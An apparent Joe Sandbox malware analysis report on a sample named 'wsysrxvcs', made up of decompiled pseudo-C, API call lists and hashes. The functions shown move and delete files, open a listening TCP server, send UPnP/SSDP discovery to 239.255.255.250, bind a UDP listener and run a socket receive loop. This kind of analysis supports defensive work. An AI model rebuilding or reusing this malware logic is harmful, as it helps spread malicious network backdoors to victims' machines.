                                                                                                                                                                                                                                                                                                                                                      0x00404e1b
                                                                                                                                                                                                                                                                                                                                                      0x00404e2c
                                                                                                                                                                                                                                                                                                                                                      0x00404e32
                                                                                                                                                                                                                                                                                                                                                      0x00404e3f
                                                                                                                                                                                                                                                                                                                                                      0x00404f22
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404e45
                                                                                                                                                                                                                                                                                                                                                      0x00404e45
                                                                                                                                                                                                                                                                                                                                                      0x00404e59
                                                                                                                                                                                                                                                                                                                                                      0x00404e8a
                                                                                                                                                                                                                                                                                                                                                      0x00404eaa
                                                                                                                                                                                                                                                                                                                                                      0x00404eb0
                                                                                                                                                                                                                                                                                                                                                      0x00404ebc
                                                                                                                                                                                                                                                                                                                                                      0x00404ee6
                                                                                                                                                                                                                                                                                                                                                      0x00404ebe
                                                                                                                                                                                                                                                                                                                                                      0x00404ecc
                                                                                                                                                                                                                                                                                                                                                      0x00404ed1
                                                                                                                                                                                                                                                                                                                                                      0x00404ed1
                                                                                                                                                                                                                                                                                                                                                      0x00404ebc
                                                                                                                                                                                                                                                                                                                                                      0x00404f00
                                                                                                                                                                                                                                                                                                                                                      0x00404f0f
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateDirectoryW.KERNEL32(004053BB,00000000), ref: 00404DFF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404E15
                                                                                                                                                                                                                                                                                                                                                      • FindFirstFileW.KERNEL32(?,?), ref: 00404E2C
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpW.KERNEL32(?,00411554), ref: 00404E51
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpW.KERNEL32(?,00411558), ref: 00404E67
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404E8A
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404EAA
                                                                                                                                                                                                                                                                                                                                                      • MoveFileExW.KERNEL32(?,?,00000009), ref: 00404EE6
                                                                                                                                                                                                                                                                                                                                                      • FindNextFileW.KERNEL32(000000FF,?), ref: 00404EFA
                                                                                                                                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF), ref: 00404F0F
                                                                                                                                                                                                                                                                                                                                                      • RemoveDirectoryW.KERNEL32(?), ref: 00404F19
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s\%s$%s\%s$%s\*
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 92872011-445461498
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 52a72b795cb5c123570ef445a1c9e06afaa23b612055eb1325dae3b5ad11a05e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8d591ecae7a8d421bf2048b330719e2269c0568c37ba9986664fc8f3ed22a2fb
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 52a72b795cb5c123570ef445a1c9e06afaa23b612055eb1325dae3b5ad11a05e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 573147B5500218ABCB10DBA4DC48FDA7779BB88301F00C599F709A3191DB75DAC8CF98
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E9F0 Relevance: 16.6, APIs: 11, Instructions: 129networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 45%
                                                                                                                                                                                                                                                                                                                                                      			E0040E9F0(void* __esi) {
				struct _SYSTEM_INFO _v36;
				short _v40;
				char _v77;
				short _v82;
				short _v86;
				short _v90;
				short _v92;
				short _v94;
				short _v96;
				short _v98;
				char _v100;
				void* __edi;
				intOrPtr* _t30;
				void* _t33;
				void* _t36;
				intOrPtr _t37;
				short _t39;
				intOrPtr _t40;
				intOrPtr* _t54;
				void* _t56;
				void* _t58;
				void* _t59;

				_t30 = E004089F0(0x4c);
				_t54 = _t30;
				_t59 = _t58 + 4;
				if(_t54 == 0) {
					return _t30;
				} else {
					 *_t54 = 0x494f4350;
					GetSystemInfo( &_v36);
					_t45 = _v36.dwNumberOfProcessors;
					_t3 = _t54 + 0x20; // 0x20
					 *((intOrPtr*)(_t54 + 4)) = _v36.dwNumberOfProcessors + _t45;
					InitializeCriticalSection(_t3);
					_t33 = CreateEventA(0, 1, 0, 0);
					 *(_t54 + 0x10) = _t33;
					if(_t33 == 0) {
						L12:
						E0040DFD0(_t54);
						return 0;
					}
					_t36 = CreateIoCompletionPort(0xffffffff, 0, 0, 0);
					 *(_t54 + 8) = _t36;
					if(_t36 == 0) {
						goto L12;
					}
					_t37 = E0040B9E0(_t45);
					 *((intOrPtr*)(_t54 + 0xc)) = _t37;
					if(_t37 == 0) {
						goto L12;
					}
					__imp__WSASocketA(2, 1, 6, 0, 0, 1);
					 *((intOrPtr*)(_t54 + 0x14)) = _t37;
					if(_t37 == 0xffffffff) {
						goto L12;
					}
					_v77 = 1;
					__imp__#21(_t37, 0xffff, 4,  &_v77, 1);
					_v94 = 0;
					_v90 = 0;
					_v86 = 0;
					_v82 = 0;
					_t39 = _v40;
					_v96 = 2;
					_v92 = _t39;
					__imp__#9(_v36.dwOemId);
					_v98 = _t39;
					_t40 =  *((intOrPtr*)(_t54 + 0x14));
					__imp__#2(_t40,  &_v100, 0x10);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__#13( *((intOrPtr*)(_t54 + 0x14)), 0x7fffffff);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__WSACreateEvent();
					 *((intOrPtr*)(_t54 + 0x18)) = _t40;
					if(_t40 == 0) {
						goto L12;
					}
					__imp__WSAEventSelect( *((intOrPtr*)(_t54 + 0x14)), _t40, 8);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					_t56 = 0;
					if( *((intOrPtr*)(_t54 + 4)) > 0) {
						do {
							E0040BA90( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E920, _t54, 0, 0);
							_t56 = _t56 + 1;
							_t59 = _t59 + 0x18;
						} while (_t56 <  *((intOrPtr*)(_t54 + 4)));
					}
					E0040BA90( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E2F0, _t54, 0, 0);
					return _t54;
				}
			}

























                                                                                                                                                                                                                                                                                                                                                      0x0040e9f6
                                                                                                                                                                                                                                                                                                                                                      0x0040e9fb
                                                                                                                                                                                                                                                                                                                                                      0x0040e9fd
                                                                                                                                                                                                                                                                                                                                                      0x0040ea02
                                                                                                                                                                                                                                                                                                                                                      0x0040eb7a
                                                                                                                                                                                                                                                                                                                                                      0x0040ea08
                                                                                                                                                                                                                                                                                                                                                      0x0040ea0d
                                                                                                                                                                                                                                                                                                                                                      0x0040ea13
                                                                                                                                                                                                                                                                                                                                                      0x0040ea19
                                                                                                                                                                                                                                                                                                                                                      0x0040ea1d
                                                                                                                                                                                                                                                                                                                                                      0x0040ea24
                                                                                                                                                                                                                                                                                                                                                      0x0040ea27
                                                                                                                                                                                                                                                                                                                                                      0x0040ea35
                                                                                                                                                                                                                                                                                                                                                      0x0040ea3b
                                                                                                                                                                                                                                                                                                                                                      0x0040ea40
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6f
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb74
                                                                                                                                                                                                                                                                                                                                                      0x0040ea4e
                                                                                                                                                                                                                                                                                                                                                      0x0040ea54
                                                                                                                                                                                                                                                                                                                                                      0x0040ea59
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ea5f
                                                                                                                                                                                                                                                                                                                                                      0x0040ea64
                                                                                                                                                                                                                                                                                                                                                      0x0040ea69
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ea7b
                                                                                                                                                                                                                                                                                                                                                      0x0040ea81
                                                                                                                                                                                                                                                                                                                                                      0x0040ea87
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ea9c
                                                                                                                                                                                                                                                                                                                                                      0x0040eaa1
                                                                                                                                                                                                                                                                                                                                                      0x0040eaad
                                                                                                                                                                                                                                                                                                                                                      0x0040eab1
                                                                                                                                                                                                                                                                                                                                                      0x0040eab5
                                                                                                                                                                                                                                                                                                                                                      0x0040eab9
                                                                                                                                                                                                                                                                                                                                                      0x0040eabe
                                                                                                                                                                                                                                                                                                                                                      0x0040eac8
                                                                                                                                                                                                                                                                                                                                                      0x0040eacd
                                                                                                                                                                                                                                                                                                                                                      0x0040ead1
                                                                                                                                                                                                                                                                                                                                                      0x0040eadd
                                                                                                                                                                                                                                                                                                                                                      0x0040eae2
                                                                                                                                                                                                                                                                                                                                                      0x0040eae7
                                                                                                                                                                                                                                                                                                                                                      0x0040eaf0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eaff
                                                                                                                                                                                                                                                                                                                                                      0x0040eb08
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb0a
                                                                                                                                                                                                                                                                                                                                                      0x0040eb10
                                                                                                                                                                                                                                                                                                                                                      0x0040eb15
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb1e
                                                                                                                                                                                                                                                                                                                                                      0x0040eb27
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eb2a
                                                                                                                                                                                                                                                                                                                                                      0x0040eb2f
                                                                                                                                                                                                                                                                                                                                                      0x0040eb31
                                                                                                                                                                                                                                                                                                                                                      0x0040eb41
                                                                                                                                                                                                                                                                                                                                                      0x0040eb46
                                                                                                                                                                                                                                                                                                                                                      0x0040eb47
                                                                                                                                                                                                                                                                                                                                                      0x0040eb4a
                                                                                                                                                                                                                                                                                                                                                      0x0040eb31
                                                                                                                                                                                                                                                                                                                                                      0x0040eb5f
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6e
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetSystemInfo.KERNEL32(?), ref: 0040EA13
                                                                                                                                                                                                                                                                                                                                                      • InitializeCriticalSection.KERNEL32(00000020), ref: 0040EA27
                                                                                                                                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040EA35
                                                                                                                                                                                                                                                                                                                                                      • CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040EA4E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040B9E0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040B9FE
                                                                                                                                                                                                                                                                                                                                                      • WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 0040EA7B
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32 ref: 0040EAA1
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(?), ref: 0040EAD1
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(?,00000004,00000010), ref: 0040EAE7
                                                                                                                                                                                                                                                                                                                                                      • listen.WS2_32(?,7FFFFFFF), ref: 0040EAFF
                                                                                                                                                                                                                                                                                                                                                      • WSACreateEvent.WS2_32 ref: 0040EB0A
                                                                                                                                                                                                                                                                                                                                                      • WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040EB1E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BAB4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: CreateThread.KERNEL32 ref: 0040BB0F
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BB4C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BB57
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: DuplicateHandle.KERNEL32(00000000), ref: 0040BB5E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BB72
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1603358586-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 29d514f06fac32b0521d297ad27dfc356eb1a27d55eceb2ed083663fc1e4d1c5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 29ede9370597d42b44937fb40e685a0c9b27d964348c1a69c07157101753e0da
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 29d514f06fac32b0521d297ad27dfc356eb1a27d55eceb2ed083663fc1e4d1c5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C3417270640702BBD320DF799C4AF5677B4AF44710F108A29F569E62D0E7B8E454C799
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C470 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000002,00000011), ref: 0040C48A
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(0000076C), ref: 0040C4C0
                                                                                                                                                                                                                                                                                                                                                      • inet_addr.WS2_32(239.255.255.250), ref: 0040C4CF
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C4ED
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: htons.WS2_32(00000050), ref: 0040945D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: socket.WS2_32(00000002,00000001,00000000), ref: 0040947D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: connect.WS2_32(000000FF,?,00000010), ref: 00409496
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: getsockname.WS2_32(000000FF,?,00000010), ref: 004094C8
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(000000FF,?,00000010), ref: 0040C523
                                                                                                                                                                                                                                                                                                                                                      • lstrlenA.KERNEL32(00410558,00000000,?,00000010), ref: 0040C53C
                                                                                                                                                                                                                                                                                                                                                      • sendto.WS2_32(000000FF,00410558,00000000), ref: 0040C54B
                                                                                                                                                                                                                                                                                                                                                      • ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C565
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C3CE
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: Sleep.KERNEL32(000003E8), ref: 0040C3DE
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C3FB
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C411
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: StrChrA.SHLWAPI(?,0000000D), ref: 0040C43E
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
                                                                                                                                                                                                                                                                                                                                                      • String ID: 239.255.255.250
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 726339449-2186272203
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6cb456ca4b4d98b988cc4d8591a9fad763652915446821cf3340a621afa360b3
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 4e43f78864f74199b6524c038bac31db25b540ee7daf9e396398e7af886f919c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6cb456ca4b4d98b988cc4d8591a9fad763652915446821cf3340a621afa360b3
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E1410AB4E00208EBDB14DFE4D889BEEBBB5AF48304F108569E505B7290D7B55A44CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D790 Relevance: 9.1, APIs: 6, Instructions: 77networkthreadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 44%
                                                                                                                                                                                                                                                                                                                                                      			E0040D790(intOrPtr __edi, void* __esi) {
				short _v8;
				short _v14;
				short _v18;
				short _v22;
				short _v24;
				short _v26;
				short _v28;
				short _v30;
				char _v33;
				char _v52;
				void* __ebx;
				void* _t21;
				short _t24;
				void* _t25;
				void* _t30;
				void* _t31;
				intOrPtr _t38;
				void* _t39;

				_t39 = __esi;
				_t38 = __edi;
				if(__esi == 0 || __edi == 0) {
					return 0;
				} else {
					_t31 = E004089F0(0x24);
					 *_t31 = 0x756470;
					 *(_t31 + 4) = 0;
					_t21 = CreateEventA(0, 1, 0, 0);
					 *(_t31 + 0x10) = _t21;
					__imp__#23(2, 2, 0x11, _t30);
					 *(_t31 + 8) = _t21;
					if(_t21 == 0xffffffff) {
						E0040DBF0(_t31, __edi);
						_t31 = 0;
					}
					if(_t31 == 0) {
						L8:
						return _t31;
					}
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_t24 = _v8;
					_v24 = _t24;
					_v28 = 2;
					__imp__#9(_t39);
					_v30 = _t24;
					_v33 = 1;
					_t25 =  *(_t31 + 8);
					__imp__#21(_t25, 0xffff, 4,  &_v33, 1);
					__imp__#2( *(_t31 + 8),  &_v52, 0x10);
					if(_t25 != 0xffffffff) {
						 *((intOrPtr*)(_t31 + 0xc)) = _t38;
						 *((intOrPtr*)(_t31 + 0x14)) = CreateThread(0, 0, E0040D9C0, _t31, 0, 0);
						goto L8;
					}
					E0040DBF0(_t31, _t38);
					return 0;
				}
			}





















                                                                                                                                                                                                                                                                                                                                                      0x0040d790
                                                                                                                                                                                                                                                                                                                                                      0x0040d790
                                                                                                                                                                                                                                                                                                                                                      0x0040d798
                                                                                                                                                                                                                                                                                                                                                      0x0040d884
                                                                                                                                                                                                                                                                                                                                                      0x0040d7a6
                                                                                                                                                                                                                                                                                                                                                      0x0040d7b5
                                                                                                                                                                                                                                                                                                                                                      0x0040d7bb
                                                                                                                                                                                                                                                                                                                                                      0x0040d7c1
                                                                                                                                                                                                                                                                                                                                                      0x0040d7c8
                                                                                                                                                                                                                                                                                                                                                      0x0040d7d4
                                                                                                                                                                                                                                                                                                                                                      0x0040d7d7
                                                                                                                                                                                                                                                                                                                                                      0x0040d7dd
                                                                                                                                                                                                                                                                                                                                                      0x0040d7e3
                                                                                                                                                                                                                                                                                                                                                      0x0040d7e5
                                                                                                                                                                                                                                                                                                                                                      0x0040d7ea
                                                                                                                                                                                                                                                                                                                                                      0x0040d7ea
                                                                                                                                                                                                                                                                                                                                                      0x0040d7ee
                                                                                                                                                                                                                                                                                                                                                      0x0040d87e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d880
                                                                                                                                                                                                                                                                                                                                                      0x0040d7f6
                                                                                                                                                                                                                                                                                                                                                      0x0040d7fa
                                                                                                                                                                                                                                                                                                                                                      0x0040d7fe
                                                                                                                                                                                                                                                                                                                                                      0x0040d802
                                                                                                                                                                                                                                                                                                                                                      0x0040d807
                                                                                                                                                                                                                                                                                                                                                      0x0040d811
                                                                                                                                                                                                                                                                                                                                                      0x0040d815
                                                                                                                                                                                                                                                                                                                                                      0x0040d81a
                                                                                                                                                                                                                                                                                                                                                      0x0040d829
                                                                                                                                                                                                                                                                                                                                                      0x0040d82e
                                                                                                                                                                                                                                                                                                                                                      0x0040d833
                                                                                                                                                                                                                                                                                                                                                      0x0040d83c
                                                                                                                                                                                                                                                                                                                                                      0x0040d84d
                                                                                                                                                                                                                                                                                                                                                      0x0040d856
                                                                                                                                                                                                                                                                                                                                                      0x0040d872
                                                                                                                                                                                                                                                                                                                                                      0x0040d87b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d87b
                                                                                                                                                                                                                                                                                                                                                      0x0040d858
                                                                                                                                                                                                                                                                                                                                                      0x0040d863
                                                                                                                                                                                                                                                                                                                                                      0x0040d863

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040D7C8
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000002,00000011), ref: 0040D7D7
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(00009E34), ref: 0040D81A
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32(?,0000FFFF), ref: 0040D83C
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(?,00000004,00000010), ref: 0040D84D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: SetEvent.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC01
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC0D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: CloseHandle.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC17
                                                                                                                                                                                                                                                                                                                                                      • CreateThread.KERNEL32 ref: 0040D875
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4174406920-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 72907a1eed7ed23599397569ec9d760de3aeddb7e8bd30c8643aa495f33e17f8
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2c8017b3a3cee6b39d43f74eaf8bde73116b2d39b786a202065b94a306b2e908
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 72907a1eed7ed23599397569ec9d760de3aeddb7e8bd30c8643aa495f33e17f8
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6021B5B5A44301AFE710EFB48C8AB5776A0AF44710F50C979FA14DB2C2D7F8C948876A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040B430 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 58%
                                                                                                                                                                                                                                                                                                                                                      			E0040B430(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				intOrPtr _t43;

				_v12 = _a16;
				if(_a16 != 0xffffffff) {
					_v12 = GetTickCount() + _v12;
				}
				_v8 = _a8;
				while(1) {
					_v16 = 0;
					_t38 = _a4;
					__imp__#10(_t38, 0x4004667f,  &_v16);
					if(_t38 == 0xffffffff) {
						break;
					}
					if(_v16 > 0) {
						if(_v16 >= _a12) {
							_v24 = _a12;
						} else {
							_v24 = _v16;
						}
						_t43 = _a4;
						__imp__#16(_t43, _v8, _v24, 0);
						_v20 = _t43;
						if(_v20 > 0) {
							if(_a16 != 0xffffffff) {
								_v12 = GetTickCount() + _a16;
							}
							_a12 = _a12 - _v20;
							_v8 = _v8 + _v20;
						}
					}
					Sleep(1);
					if(GetTickCount() > _v12 || _a12 == 0) {
						L15:
						return 0 | _a12 == 0x00000000;
					} else {
						continue;
					}
				}
				goto L15;
			}










                                                                                                                                                                                                                                                                                                                                                      0x0040b439
                                                                                                                                                                                                                                                                                                                                                      0x0040b440
